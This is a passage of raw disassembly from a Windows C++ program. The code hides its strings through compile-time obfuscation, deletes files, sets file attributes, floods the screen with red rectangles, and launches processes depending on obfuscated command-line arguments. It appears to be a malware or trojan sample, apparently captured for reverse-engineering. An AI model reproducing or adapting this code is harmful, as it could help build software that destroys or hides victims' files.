call method.ay::obfuscated_data_41ull__17088774454641667967ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x32ee]
lea rax, [rbp + 0x32c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x32c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x32c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x32ee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x332c]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x332d]
mov rcx, rax
call method.main.lambda__138::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__5865736161184943495ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x332c]
lea rax, [rbp + 0x3300]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x32f0]
lea rdx, [rbp + 0x3300]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x3300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x332c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp + 0x46f0], 8
jle 0x231956cc7
lea rax, [rbp + 0x332e]
mov rcx, rax
call method.main.lambda__139::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__566307473860287337ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x40
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231956cc7
mov eax, 1
jmp 0x231956ccc
mov eax, 0
test al, al
je 0x231956d0d
lea rax, [rbp + 0x332f]
mov rcx, rax
call method.main.lambda__140::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__1230018389269771699ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231956d17
mov ecx, 1
call sym.f_lws_int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x336e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x336f]
mov rcx, rax
call method.main.lambda__141::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__17228281847722920259ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x336e]
lea rax, [rbp + 0x3340]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3330]
lea rdx, [rbp + 0x3340]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x3340]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x336e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x339e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x339f]
mov rcx, rax
call method.main.lambda__142::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__15792316070751226181ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x339e]
lea rax, [rbp + 0x3370]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x33cf]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x33cf]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x33a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x140]
lea rcx, [rbp + 0x3370]
lea rdx, [rbp + 0x33a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x33a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x33cf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x339e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x140]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov rax, qword [rbp + 0x46a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0x140]
lea rax, [rbp + 0x33d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x80]
lea rax, [rbp + 0x33f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0x33d0]
lea rax, [rbp + 0x33f0]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp + 0x33f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x33d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x140]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x140]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x344e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x344f]
mov rcx, rax
call method.main.lambda__143::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__16997653398809026427ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x344e]
lea rax, [rbp + 0x3420]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3410]
lea rdx, [rbp + 0x3420]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x3420]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x344e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x45e0], rax
mov ecx, 0xff
mov rax, qword [sym.imp.GDI32.dll_CreateSolidBrush]
call rax
mov qword [rbp + 0x45d8], rax
mov rdx, qword [rbp + 0x45d8]
mov rax, qword [rbp + 0x45e0]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov dword [rbp + 0x469c], 0
jmp 0x231957093
mov eax, dword [rbp + 0x469c]
lea edx, [rax + 0x1f4]
mov rax, qword [rbp + 0x45e0]
mov dword [rsp + 0x20], 0x320
mov r9d, edx
mov r8d, 0x32
mov edx, 0x32
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_Rectangle]
call rax
mov edx, 0
mov ecx, 0x32
call sym.f_slpc_unsigned_long__int_
add dword [rbp + 0x469c], 0xa
cmp dword [rbp + 0x469c], 0x3e7
jle 0x231957048
mov dword [rbp + 0x4698], 0
jmp 0x231957106
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov ebx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov edx, eax
mov rax, qword [rbp + 0x45e0]
mov dword [rsp + 0x20], ebx
mov r9d, edx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_Rectangle]
call rax
mov edx, 0
mov ecx, 0x32
call sym.f_slpc_unsigned_long__int_
add dword [rbp + 0x4698], 1
cmp dword [rbp + 0x4698], 0x1d
jle 0x2319570ab
mov rax, qword [rbp + 0x45d8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x45e0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x348e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x348f]
mov rcx, rax
call method.main.lambda__144::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__7318766512472718783ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x348e]
lea rax, [rbp + 0x3460]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3460]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x3460]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x348e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x34c9]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x34ca]
mov rcx, rax
call method.main.lambda__145::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__6191815152370296091ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x34c9]
lea rax, [rbp + 0x34a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34a0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x34a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x34c9]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x45f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call rax
mov rax, qword [rbp + 0x45f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x34cb]
mov rcx, rax
call method.main.lambda__146::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15242841226395856813ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x34cc]
mov rcx, rax
call method.main.lambda__147::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__18416262738711881557ull__char_.operator_char__
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call rax
mov edx, 0
mov ecx, 0x2710
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.231a21fe0
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.231a21fe0
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 0
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x2319573e7
lea rax, [rbp + 0x34cd]
mov rcx, rax
call method.main.lambda__148::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__5863536536162759119ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319573e7
mov eax, 1
jmp 0x2319573ec
mov eax, 0
test al, al
je 0x2319575c3
lea rax, [rbp + 0x34ce]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x34cf]
mov rcx, rax
call method.main.lambda__149::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_38ull__18301451899972609401ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x34ce]
lea rax, [rbp + 0x610]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x34ce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x351e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x351f]
mov rcx, rax
call method.main.lambda__151::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__525024753105231231ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x351e]
lea rax, [rbp + 0x34f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x610]
lea rax, [rbp + 0x3540]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3588]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x3589]
mov rcx, rax
call method.main.lambda__150::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_20ull__525024753105231231ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x3588]
lea rax, [rbp + 0x3560]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3520]
lea rcx, [rbp + 0x3540]
lea rdx, [rbp + 0x3560]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x34d0]
lea rcx, [rbp + 0x34f0]
lea rdx, [rbp + 0x3520]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x34d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x34d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3520]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3560]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3588]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3540]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x34f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x351e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ebx, 0
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x23195aa74
cmp dword [rbp + 0x46f0], 1
jle 0x231957607
lea rax, [rbp + 0x358a]
mov rcx, rax
call method.main.lambda__152::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__7056359865311630089ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957607
mov eax, 1
jmp 0x23195760c
mov eax, 0
test al, al
je 0x23195897f
lea rax, [rbp + 0xd00]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x9d0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x358b]
mov rcx, rax
call method.main.lambda__153::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__15093807372128736129ull__char_.operator_char__
mov qword [rbp + 0x4610], rax
lea rax, [rbp + 0x358c]
mov rcx, rax
call method.main.lambda__154::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__9303260040537921365ull__char_.operator_char__
mov qword [rbp + 0x4608], rax
lea rax, [rbp + 0x358d]
mov rcx, rax
call method.main.lambda__155::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__10622603890987212655ull__char_.operator_char__
mov qword [rbp + 0x4600], rax
lea rax, [rbp + 0x358e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x358f]
mov rcx, rax
call method.main.lambda__156::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_38ull__3531890214177820023ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x358e]
lea rax, [rbp + 0x610]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x358e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x4608]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
je 0x231957736
mov rax, qword [rbp + 0x4600]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
je 0x231957736
call sym.f_ele__
test eax, eax
je 0x231957736
mov eax, 1
jmp 0x23195773b
mov eax, 0
test al, al
je 0x23195889e
lea rax, [rbp + 0x35df]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x35df]
mov rdx, qword [rbp + 0x4610]
lea rax, [rbp + 0x35b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x360e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x360f]
mov rcx, rax
call method.main.lambda__157::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_17ull__16418957881812408627ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x360e]
lea rax, [rbp + 0x35e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3590]
lea rcx, [rbp + 0x35b0]
lea rdx, [rbp + 0x35e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3590]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x35e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x360e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x35b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x35df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x365f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x365f]
mov rdx, qword [rbp + 0x4610]
lea rax, [rbp + 0x3630]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x368f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x368f]
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0x3660]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3610]
lea rcx, [rbp + 0x3630]
lea rdx, [rbp + 0x3660]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x3610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3660]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x368f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3630]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x365f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x36df]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x36df]
mov rdx, qword [rbp + 0x4600]
lea rax, [rbp + 0x36b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x370f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x370f]
lea rdx, [rbp + 0x9d0]
lea rax, [rbp + 0x36e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3690]
lea rcx, [rbp + 0x36b0]
lea rdx, [rbp + 0x36e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3690]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x3690]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x36e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x36b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x36df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x375f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x375f]
mov rdx, qword [rbp + 0x4610]
lea rax, [rbp + 0x3730]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x378f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x378f]
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0x3760]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3710]
lea rcx, [rbp + 0x3730]
lea rdx, [rbp + 0x3760]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3710]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
lea rax, [rbp + 0x3710]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3760]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x378f]
